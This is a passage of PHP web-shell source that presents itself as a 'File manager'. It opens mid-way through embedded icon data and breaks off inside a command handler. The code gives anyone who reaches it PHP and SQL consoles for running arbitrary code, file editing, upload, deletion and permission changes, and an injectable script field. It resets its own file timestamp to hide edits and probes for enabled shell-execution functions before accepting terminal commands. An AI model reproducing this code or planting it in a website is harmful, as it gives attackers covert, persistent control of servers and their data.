HhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
else $msg_ntimes .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_ntimes?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg_ntimes .= (__('File updated'));
else $msg_ntimes .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_ntimes?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg_ntimes .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_ntimes?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//quanxian gai bian hou xu yao xi tong chongqi
$msg_ntimes = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg_ntimes .= __('Error occurred');
} else {
$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> ';
}
} else {
$msg_ntimes .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg_ntimes .= __('Error occurred');
} else {
fclose($fp);
$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php
session_start();
// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];
// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
if (function_exists($func)) {
$canExecute = true;
break;
}
}
if (!isset($_SESSION['cwd'])) {
$_SESSION['cwd'] = getcwd();
}
// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
$_SESSION['cwd'] = realpath($_POST['path']);
}
$cwd = $_SESSION['cwd'];
$output = "";
if (isset($_POST['terminal'])) {
$cmdInput = trim($_POST['terminal-text']);
if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
$dir = trim($matches[1]);
if ($dir === '' || $dir === '~') {
$dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
} elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
$dir = $cwd . DIRECTORY_SEPARATOR . $dir;
}
$realDir = realpath($dir);
if ($realDir && is_dir($realDir)) {
$_SESSION['cwd'] = $realDir;
$cwd = $realDir;
$output = "Changed directory to " . htmlspecialchars($realDir);
} else {
